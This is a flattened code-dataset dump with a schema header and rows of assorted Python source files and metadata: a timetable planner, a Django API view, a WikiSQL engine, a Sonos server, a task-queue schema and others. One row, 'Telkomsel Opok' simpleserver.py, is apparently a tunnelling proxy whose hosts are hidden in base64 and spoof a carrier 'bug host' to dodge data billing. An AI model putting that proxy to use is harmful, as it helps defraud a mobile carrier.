hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
7535ce0082f77b6c6e4fb97656d034c5dc25e071
11,399
py
Python
nusmodsplanner/mod_utils.py
raynoldng/nusmods-planner
5657c52cdefe35b7d272c3762d85185ca2a442c9
[ "MIT" ]
7
2017-07-19T07:06:43.000Z
2022-01-04T01:47:27.000Z
nusmodsplanner/mod_utils.py
raynoldng/nusmods-planner
5657c52cdefe35b7d272c3762d85185ca2a442c9
[ "MIT" ]
null
null
null
nusmodsplanner/mod_utils.py
raynoldng/nusmods-planner
5657c52cdefe35b7d272c3762d85185ca2a442c9
[ "MIT" ]
1
2018-09-08T06:35:26.000Z
2018-09-08T06:35:26.000Z
# helper functions for testing properties of candidate schedules import requests from sets import Set import json import calendar import itertools import os from collections import OrderedDict import random from definitions import ROOT_DIR, lessonTypeCodes, LOCAL_API_DIR from z3 import * LUNCH_HOURS = [11, 12, 13] def...
38.904437
136
0.59821
1,418
11,399
4.771509
0.217207
0.010641
0.015075
0.01138
0.339492
0.303725
0.287171
0.281555
0.247561
0.247561
0
0.023637
0.283709
11,399
292
137
39.037671
0.805021
0.132029
0
0.188172
0
0
0.060162
0
0
0
0
0
0
0
null
null
0
0.053763
null
null
0.010753
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
7541d9a58c21b2c720ff96f890ac21f3d9664e8d
2,268
py
Python
myuw/views/api/profile.py
uw-it-aca/myuw
3fa1fabeb3c09d81a049f7c1a8c94092d612438a
[ "Apache-2.0" ]
18
2015-02-04T01:09:11.000Z
2021-11-25T03:10:39.000Z
myuw/views/api/profile.py
uw-it-aca/myuw
3fa1fabeb3c09d81a049f7c1a8c94092d612438a
[ "Apache-2.0" ]
2,323
2015-01-15T19:45:10.000Z
2022-03-21T19:57:06.000Z
myuw/views/api/profile.py
uw-it-aca/myuw
3fa1fabeb3c09d81a049f7c1a8c94092d612438a
[ "Apache-2.0" ]
9
2015-01-15T19:29:26.000Z
2022-02-11T04:51:23.000Z
# Copyright 2021 UW-IT, University of Washington # SPDX-License-Identifier: Apache-2.0 import logging import traceback from myuw.dao import get_netid_of_current_user from myuw.dao.gws import is_student, is_applicant from myuw.dao.pws import get_display_name_of_current_user from myuw.dao.password import get_pw_json fro...
36
79
0.636243
253
2,268
5.454545
0.363636
0.057971
0.039855
0.024638
0.085507
0.064493
0
0
0
0
0
0.006875
0.294533
2,268
62
80
36.580645
0.855625
0.089506
0
0.045455
0
0
0.048587
0
0
0
0
0
0
1
0.022727
false
0.090909
0.295455
0
0.386364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
7541f092207ba8986a0abfbf2b75ae22a3e43dd1
666
py
Python
6. ZigZag Conversion/solution.py
alexwhyy/leetcode
41664aa48137677d2f98817b9c512d76f13c525f
[ "MIT" ]
null
null
null
6. ZigZag Conversion/solution.py
alexwhyy/leetcode
41664aa48137677d2f98817b9c512d76f13c525f
[ "MIT" ]
null
null
null
6. ZigZag Conversion/solution.py
alexwhyy/leetcode
41664aa48137677d2f98817b9c512d76f13c525f
[ "MIT" ]
null
null
null
class Solution: def convert(self, s: str, numRows: int) -> str: strings = {i: [] for i in range(0, numRows)} increasing = True row = 0 for i in s: strings[row].append(i) if numRows == 1: continue if increasing: row +...
28.956522
52
0.388889
68
666
3.808824
0.441176
0.046332
0.069498
0
0
0
0
0
0
0
0
0.024845
0.516517
666
23
53
28.956522
0.779503
0
0
0.173913
0
0
0
0
0
0
0
0
0
1
0.043478
false
0
0
0
0.130435
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
754549096ab2413b6e0b65054d236c8339afe626
5,721
py
Python
datasets/wikisql/wikisql_dbengine.py
IBM/row-column-intersection
fbc4214d7f92f9602a1b219b4336a940de3d6ee4
[ "Apache-2.0" ]
29
2021-04-20T07:15:41.000Z
2022-03-01T06:32:40.000Z
datasets/wikisql/wikisql_dbengine.py
IBM/row-column-intersection
fbc4214d7f92f9602a1b219b4336a940de3d6ee4
[ "Apache-2.0" ]
4
2021-04-25T06:49:13.000Z
2021-10-07T11:00:14.000Z
datasets/wikisql/wikisql_dbengine.py
IBM/row-column-intersection
fbc4214d7f92f9602a1b219b4336a940de3d6ee4
[ "Apache-2.0" ]
5
2021-04-28T21:52:41.000Z
2022-02-21T07:16:35.000Z
""" Modified from WikiSQL/lib/dbengine.py BSD 3-Clause License Copyright (c) 2017, Salesforce Research All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the ...
45.768
123
0.646565
766
5,721
4.697128
0.281984
0.036965
0.020011
0.028349
0.55781
0.544469
0.544469
0.544469
0.544469
0.520567
0
0.003444
0.238595
5,721
124
124
46.137097
0.822544
0.325118
0
0.736842
0
0
0.088358
0
0.026316
0
0
0
0
1
0.065789
false
0
0.052632
0.026316
0.184211
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
754e46227a36ce0c61ab7d1430c85a2c94c9f76f
1,567
py
Python
sonos.py
Einstein42/sonos-polyglot
9f141b0f53ee036684d49bd62af590fc9b67b8a9
[ "MIT" ]
8
2016-04-01T02:22:03.000Z
2019-01-03T01:42:37.000Z
sonos.py
Einstein42/sonos-polyglot
9f141b0f53ee036684d49bd62af590fc9b67b8a9
[ "MIT" ]
2
2020-09-19T20:04:10.000Z
2020-09-23T07:21:39.000Z
sonos.py
Einstein42/sonos-polyglot
9f141b0f53ee036684d49bd62af590fc9b67b8a9
[ "MIT" ]
3
2016-03-31T00:15:08.000Z
2019-06-13T09:45:39.000Z
#!/usr/bin/python """ Sonos Node Server for Polyglot by Einstein.42(James Milne) milne.james@gmail.com""" from polyglot.nodeserver_api import SimpleNodeServer, PolyglotConnector from sonos_types import SonosSpeaker, SonosControl VERSION = "0.2.1" class SonosNodeServer(SimpleNodeServer): """ Sonos N...
29.018519
91
0.631142
179
1,567
5.424581
0.469274
0.049434
0.043254
0.026777
0.084449
0.084449
0.084449
0.084449
0.084449
0.084449
0
0.011149
0.255903
1,567
53
92
29.566038
0.821612
0.159541
0
0.171429
0
0
0.11413
0
0
0
0
0
0
1
0.142857
false
0.057143
0.057143
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
7553e2b1473100abeaecabefbde8805eee7ba8aa
10,033
py
Python
utils/adscrawl.py
nmiles2718/PACMan_dist
62f495f8d506919146a16750072a523aaafb3c53
[ "MIT" ]
null
null
null
utils/adscrawl.py
nmiles2718/PACMan_dist
62f495f8d506919146a16750072a523aaafb3c53
[ "MIT" ]
null
null
null
utils/adscrawl.py
nmiles2718/PACMan_dist
62f495f8d506919146a16750072a523aaafb3c53
[ "MIT" ]
null
null
null
#!/usr/bin/env python import os,sys,pdb,scipy,glob from pylab import * import urllib, urllib2 import xml.dom.minidom import datetime def ADS(): thisMirror = 'http://adsabs.harvard.edu/' print 'Retrieving from ',thisMirror baseUrl = thisMirror + 'cgi-bin/nph-abs_connect?' return baseUrl def get_text(...
41.118852
128
0.549686
1,125
10,033
4.741333
0.2
0.056243
0.04312
0.090739
0.634608
0.631046
0.616985
0.610236
0.588301
0.573678
0
0.010405
0.272002
10,033
243
129
41.288066
0.71988
0.080136
0
0.580111
0
0
0.126537
0.002611
0
0
0
0
0
0
null
null
0
0.027624
null
null
0.049724
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
755d1072e648dc7b70b3ca63fee0d190c94c9d5d
953
py
Python
user_app/model/foot_models.py
syz247179876/e_mall
f94e39e091e098242342f532ae371b8ff127542f
[ "Apache-2.0" ]
7
2021-04-10T13:20:56.000Z
2022-03-29T15:00:29.000Z
user_app/model/foot_models.py
syz247179876/E_mall
f94e39e091e098242342f532ae371b8ff127542f
[ "Apache-2.0" ]
9
2021-05-11T03:53:31.000Z
2022-03-12T00:58:03.000Z
user_app/model/foot_models.py
syz247179876/E_mall
f94e39e091e098242342f532ae371b8ff127542f
[ "Apache-2.0" ]
2
2020-11-24T08:59:22.000Z
2020-11-24T14:10:59.000Z
# -*- coding: utf-8 -*- # @Time : 2021/2/19 下午4:22 # @Author : 司云中 # @File : foot_models.py # @Software: Pycharm from django.contrib.auth import get_user_model from django.db import models from django.db.models import Manager from django.utils.translation import gettext_lazy as _ from shop_app.models.commodity_models ...
27.228571
94
0.679958
121
953
5.107438
0.545455
0.088997
0.038835
0
0
0
0
0
0
0
0
0.015504
0.187828
953
34
95
28.029412
0.782946
0.126967
0
0
0
0
0.056166
0
0
0
0
0
0
1
0.055556
false
0
0.277778
0.055556
0.722222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
75621ce86b3dd347f7fcc091107874d8c219b771
3,243
py
Python
src/schema.py
DanielCollins/pgtq
a8b0931a8a2538da8da01a8f4fd17e57ea772715
[ "0BSD" ]
12
2017-10-11T07:41:04.000Z
2021-02-19T06:19:29.000Z
src/schema.py
DanielCollins/pgtq
a8b0931a8a2538da8da01a8f4fd17e57ea772715
[ "0BSD" ]
33
2017-10-29T04:23:23.000Z
2019-01-30T05:20:57.000Z
src/schema.py
DanielCollins/pgtq
a8b0931a8a2538da8da01a8f4fd17e57ea772715
[ "0BSD" ]
null
null
null
"""SQL for storing and working on tasks.""" SQL_TEMPLATE = """ CREATE TABLE IF NOT EXISTS pgtq_{0}_scheduled ( key INTEGER PRIMARY KEY, not_before TIMESTAMP WITHOUT TIME ZONE NOT NULL, task JSON NOT NULL, attempts INTEGER NOT NULL, max_retries INTEGER ); CREATE INDEX IF NOT EXISTS ix_pgtq_{0}_scheduled_no...
29.216216
72
0.668208
450
3,243
4.597778
0.2
0.072499
0.054132
0.043499
0.475592
0.326728
0.302562
0.20783
0.162397
0.162397
0
0.014481
0.254702
3,243
110
73
29.481818
0.841539
0.011409
0
0.395833
0
0
0.9925
0.084063
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f32b83762755b987c17ac30aaedffee878d37ce9
875
py
Python
django_safe_project/safe_settings.py
Ketibansapi/sensitivity-djtest
b4a5b52fb07f25b9a5c62cf86d4ab19fc5609959
[ "MIT" ]
null
null
null
django_safe_project/safe_settings.py
Ketibansapi/sensitivity-djtest
b4a5b52fb07f25b9a5c62cf86d4ab19fc5609959
[ "MIT" ]
null
null
null
django_safe_project/safe_settings.py
Ketibansapi/sensitivity-djtest
b4a5b52fb07f25b9a5c62cf86d4ab19fc5609959
[ "MIT" ]
null
null
null
"""This module defines the settings to be altered and how to handle them. Each setting should contain a dict with the following keys: 'value': The content to be placed in `local_settings.py` 'default': The content will be set as the default value in `settings.py` `<SETTING_NAME> = getattr(local_setting...
43.75
80
0.691429
128
875
4.625
0.507813
0.087838
0.050676
0.057432
0.10473
0
0
0
0
0
0
0
0.193143
875
19
81
46.052632
0.838527
0.826286
0
0
0
0
0.337931
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3319761fd1182fd6665e156c585de85bd502534
35,625
py
Python
simpleserver.py
pixelheartz/SimpleServer
8fe21248b3a797aa5725d9e032752b94afa8180d
[ "MIT" ]
null
null
null
simpleserver.py
pixelheartz/SimpleServer
8fe21248b3a797aa5725d9e032752b94afa8180d
[ "MIT" ]
null
null
null
simpleserver.py
pixelheartz/SimpleServer
8fe21248b3a797aa5725d9e032752b94afa8180d
[ "MIT" ]
1
2020-05-08T19:34:56.000Z
2020-05-08T19:34:56.000Z
NAMAFILE = 'Telkomsel Opok v1' REQ = '' LHOST = '127.0.0.1' LPORT = 8080 FQUERY = ('dGVsa29tLnR1eXVsY3J5cHRvcy5jb20vaXBrLWJpbi9pcGsucG5nL25wYXpvbmUvMDAvaHR0cC8=').decode('base64') MQUERY = '' BQUERY = '' RQUERY = ('di53aGF0c2FwcC5jb20uYmVyYmFnaW1hbmZhYXQuY28uaWQ=').decode('base64') CQUERY = '' IQUERY = '' IMETHOD = 0 I...
34.688413
175
0.510428
4,028
35,625
4.392999
0.114449
0.044758
0.038768
0.040689
0.385363
0.341113
0.318056
0.280588
0.261825
0.24182
0
0.02057
0.358625
35,625
1,026
176
34.722222
0.753862
0
0
0.396476
0
0.001101
0.093923
0.005361
0
0
0.000702
0
0
0
null
null
0.023128
0.002203
null
null
0.002203
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f33285e15ede8369b4a0525755bb9a17e11b734e
472
py
Python
wishlist/domain/product/test/test_create_product.py
guiyllw/wishlist-luizalabs
0bc9f594cd7973fcb39e839e5540232cf1f718f9
[ "Apache-2.0" ]
null
null
null
wishlist/domain/product/test/test_create_product.py
guiyllw/wishlist-luizalabs
0bc9f594cd7973fcb39e839e5540232cf1f718f9
[ "Apache-2.0" ]
null
null
null
wishlist/domain/product/test/test_create_product.py
guiyllw/wishlist-luizalabs
0bc9f594cd7973fcb39e839e5540232cf1f718f9
[ "Apache-2.0" ]
null
null
null
from wishlist.domain.product.ports import CreateProduct from wishlist.test.helpers import AsyncMock class TestCreateProduct: async def test_create_product_with_success( self, create_product_request, product_response ): create_product = CreateProduct( AsyncMock(retu...
24.842105
69
0.716102
48
472
6.75
0.5
0.200617
0.123457
0
0
0
0
0
0
0
0
0
0.235169
472
18
70
26.222222
0.897507
0
0
0
0
0
0
0
0
0
0
0
0.076923
1
0
false
0
0.153846
0
0.230769
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f335ec77eb35c369571cab5128f06c7e945d0e70
4,856
py
Python
thumbor_riak/storage.py
dhardy92/thumbor_riak
d3ae5d1ac832dd8a1a0681b3b0c85384868dfe6f
[ "MIT" ]
null
null
null
thumbor_riak/storage.py
dhardy92/thumbor_riak
d3ae5d1ac832dd8a1a0681b3b0c85384868dfe6f
[ "MIT" ]
1
2017-02-28T16:08:07.000Z
2017-03-02T13:44:07.000Z
thumbor_riak/storage.py
dhardy92/thumbor_riak
d3ae5d1ac832dd8a1a0681b3b0c85384868dfe6f
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # thumbor imaging service # https://github.com/dhardy92/thumbor_riak/ # Licensed under the MIT license: # http://www.opensource.org/licenses/mit-license # Copyright (c) 2012 dhard92@github.com from json import loads, dumps from datetime import datetime, timedelta from thumbo...
33.489655
108
0.576606
564
4,856
4.851064
0.265957
0.048246
0.060307
0.055556
0.510234
0.4375
0.387061
0.364766
0.346126
0.346126
0
0.008311
0.306219
4,856
144
109
33.722222
0.803799
0.064868
0
0.436364
0
0
0.059589
0.007062
0
0
0
0
0
0
null
null
0.009091
0.054545
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f3389d6e189436dc0b18edac8152f2bc9327e39e
1,040
py
Python
mminterconcept/construction/molecule.py
Lnaden/mminterconcept
83c5bc75f93113443d2126551e4df3940637536d
[ "MIT" ]
null
null
null
mminterconcept/construction/molecule.py
Lnaden/mminterconcept
83c5bc75f93113443d2126551e4df3940637536d
[ "MIT" ]
null
null
null
mminterconcept/construction/molecule.py
Lnaden/mminterconcept
83c5bc75f93113443d2126551e4df3940637536d
[ "MIT" ]
null
null
null
''' Author: Andrew-AbiMansour DOC: Oct 21, 2019 This module defines a molecule for MD simulation/analysis ''' from qcelemental.models import molecule as qc_molecule from pydantic import Schema from typing import Optional, Tuple, List class Molecule(qc_molecule.Molecule): angles: Optional[List[Tuple[int, int, int]]...
40
118
0.707692
154
1,040
4.675325
0.454545
0.1
0.047222
0.055556
0.552778
0.552778
0.552778
0.552778
0.552778
0.552778
0
0.014151
0.184615
1,040
25
119
41.6
0.834906
0.098077
0
0.166667
0
0.166667
0.577131
0
0
0
0
0
0
1
0
true
0
0.25
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f3393e3733e864fdd4beef58afdb68b438e60fb1
722
py
Python
chia/outbound_message.py
ssysm/ChiaNodeSync
bb574e7b20c79074ef8c2f56e5a177d169d1b843
[ "Apache-2.0" ]
2
2021-05-20T19:33:26.000Z
2021-10-13T03:23:29.000Z
chia/outbound_message.py
ssysm/ChiaNodeSync
bb574e7b20c79074ef8c2f56e5a177d169d1b843
[ "Apache-2.0" ]
null
null
null
chia/outbound_message.py
ssysm/ChiaNodeSync
bb574e7b20c79074ef8c2f56e5a177d169d1b843
[ "Apache-2.0" ]
1
2021-07-11T13:14:50.000Z
2021-07-11T13:14:50.000Z
from dataclasses import dataclass from enum import IntEnum from typing import Any, Optional from chia.protocols.protocol_message_types import ProtocolMessageTypes from chia.util.ints import uint8, uint16 from chia.util.streamable import Streamable, streamable class NodeType(IntEnum): FULL_NODE = 1 HARVESTER =...
24.896552
70
0.742382
93
722
5.698925
0.548387
0.045283
0.045283
0
0
0
0
0
0
0
0
0.022147
0.186981
722
28
71
25.785714
0.88075
0.090028
0
0
0
0
0
0
0
0
0
0
0
1
0.047619
false
0
0.285714
0.047619
0.904762
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f33ba675e1eea0466ae4a3b552dee73fb4344ba0
598
py
Python
events/migrations/0004_auto_20180425_1508.py
Akash1S/meethub
3517ec7b4e03ca1fe50e7053fd46349f0b31740c
[ "MIT" ]
428
2018-05-11T16:36:33.000Z
2022-02-05T15:29:23.000Z
events/migrations/0004_auto_20180425_1508.py
dmkibuka/meethub
296a1494ab6f2828b61f0b8e4ad80308306fc23a
[ "MIT" ]
15
2018-05-14T16:33:29.000Z
2021-06-09T17:28:14.000Z
events/migrations/0004_auto_20180425_1508.py
dmkibuka/meethub
296a1494ab6f2828b61f0b8e4ad80308306fc23a
[ "MIT" ]
53
2018-05-12T10:41:24.000Z
2022-02-23T12:15:33.000Z
# Generated by Django 2.0.4 on 2018-04-25 15:08 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('events', '0003_auto_20180424_1611'), ] operations = [ migrations.AlterModelOptions( name='event', options={'ordering...
26
109
0.595318
60
598
5.783333
0.75
0.07781
0
0
0
0
0
0
0
0
0
0.073395
0.270903
598
22
110
27.181818
0.722477
0.075251
0
0.125
1
0
0.205082
0.041742
0
0
0
0
0
1
0
false
0
0.0625
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3425b5ebea9c1fe60e371d5dba169b6aa7ee4c8
23,965
py
Python
deepreg/model/layer_util.py
mathpluscode/DeepReg
80854094feafec998fa6237199066556c73f31f9
[ "Apache-2.0" ]
null
null
null
deepreg/model/layer_util.py
mathpluscode/DeepReg
80854094feafec998fa6237199066556c73f31f9
[ "Apache-2.0" ]
null
null
null
deepreg/model/layer_util.py
mathpluscode/DeepReg
80854094feafec998fa6237199066556c73f31f9
[ "Apache-2.0" ]
null
null
null
""" Module containing utilities for layer inputs """ import itertools import numpy as np import tensorflow as tf def get_reference_grid(grid_size: (tuple, list)) -> tf.Tensor: """ Generate a 3D grid with given size. Reference: - volshape_to_meshgrid of neuron https://github.com/adalca/neurite...
33.423989
88
0.571917
3,542
23,965
3.745059
0.128176
0.007388
0.006332
0.005729
0.28285
0.211685
0.174369
0.152733
0.117829
0.09755
0
0.03601
0.304736
23,965
716
89
33.47067
0.758252
0.52706
0
0.140078
1
0.003891
0.10375
0
0
0
0
0.002793
0.011673
1
0.038911
false
0
0.011673
0
0.097276
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f348e79c0bd30dcf3780b2f6b359aaf0f0bfa665
2,456
py
Python
export/usb.py
oudeismetis/missed-moment
9294340bd4d5fbc5801cc967db70f8c82ea94ef3
[ "MIT" ]
5
2016-09-06T19:54:38.000Z
2021-11-04T19:04:08.000Z
export/usb.py
oudeismetis/missed-moment
9294340bd4d5fbc5801cc967db70f8c82ea94ef3
[ "MIT" ]
1
2021-11-17T21:08:17.000Z
2021-11-17T21:08:17.000Z
export/usb.py
oudeismetis/missed-moment
9294340bd4d5fbc5801cc967db70f8c82ea94ef3
[ "MIT" ]
1
2016-10-28T15:15:48.000Z
2016-10-28T15:15:48.000Z
from os import listdir from os.path import exists, expanduser, isfile import re from subprocess import CalledProcessError, check_call import logging from pyudev import Context, Monitor video_pattern = re.compile('missed-moment.*merged.*mp4') MEDIA_DIR = '/missed_moment_media' USB_MOUNT_DIR = '/missed_moment_usb' USB_...
34.111111
77
0.644544
319
2,456
4.752351
0.373041
0.047493
0.050792
0.042216
0.176121
0.145778
0.129947
0.059367
0
0
0
0.003156
0.225977
2,456
71
78
34.591549
0.794319
0.109121
0
0.075472
0
0
0.189908
0.022018
0
0
0
0.014085
0
1
0.056604
false
0
0.113208
0
0.169811
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
f34bbec477f64d7fdcbedf6ba00cc7919b8e38eb
2,348
py
Python
test/test_buttons.py
vallemrv/kivy-component
e6db451c329f8b17a7fee8dee42e2968df116ce5
[ "Apache-2.0" ]
2
2017-07-15T18:43:05.000Z
2019-07-02T07:33:24.000Z
test/test_buttons.py
vallemrv/kivy-component
e6db451c329f8b17a7fee8dee42e2968df116ce5
[ "Apache-2.0" ]
null
null
null
test/test_buttons.py
vallemrv/kivy-component
e6db451c329f8b17a7fee8dee42e2968df116ce5
[ "Apache-2.0" ]
null
null
null
# @Author: Manuel Rodriguez <valle> # @Date: 2019-05-05T20:01:27+02:00 # @Email: valle.mrv@gmail.com # @Last modified by: valle # @Last modified time: 2019-05-09T01:17:25+02:00 # @License: Apache License v2.0 import os import sys sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) fr...
24.458333
79
0.589438
278
2,348
4.83813
0.44964
0.035688
0.020074
0.022305
0.148699
0.083271
0.083271
0.083271
0.083271
0.083271
0
0.05
0.301533
2,348
95
80
24.715789
0.770122
0.085605
0
0.125
0
0
0.707477
0.010748
0
0
0
0
0
1
0.027778
false
0.013889
0.152778
0.013889
0.222222
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3547c44193674d72118e17e37edb9312430ced7
305
py
Python
UE4Parse/IoObjects/FNameEntryId.py
zbx911/pyUE4Parse
eb30d27a4341ad68a7104458a0fdfae6a360d153
[ "MIT" ]
13
2021-06-09T09:21:00.000Z
2022-03-30T22:13:24.000Z
UE4Parse/IoObjects/FNameEntryId.py
zbx911/pyUE4Parse
eb30d27a4341ad68a7104458a0fdfae6a360d153
[ "MIT" ]
3
2021-09-04T22:23:02.000Z
2022-03-04T09:45:45.000Z
UE4Parse/IoObjects/FNameEntryId.py
zbx911/pyUE4Parse
eb30d27a4341ad68a7104458a0fdfae6a360d153
[ "MIT" ]
6
2021-09-02T10:28:21.000Z
2022-03-30T22:13:37.000Z
from typing import Union from UE4Parse.BinaryReader import BinaryStream class FNameEntryId: Value: int def __init__(self, reader: Union[BinaryStream, int]): if isinstance(reader, BinaryStream): self.Value = reader.readUInt32() else: self.Value = reader
21.785714
57
0.665574
32
305
6.21875
0.59375
0.090452
0.150754
0
0
0
0
0
0
0
0
0.013274
0.259016
305
13
58
23.461538
0.867257
0
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.222222
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f354fb51e5ec1448b0f4a58e8768e000570fc5fa
696
py
Python
setup.py
Niger-Volta-LTI/iranlowo
0046b61105ffadfff21dd8b37754b9d95177fbf8
[ "MIT" ]
17
2019-07-05T20:30:35.000Z
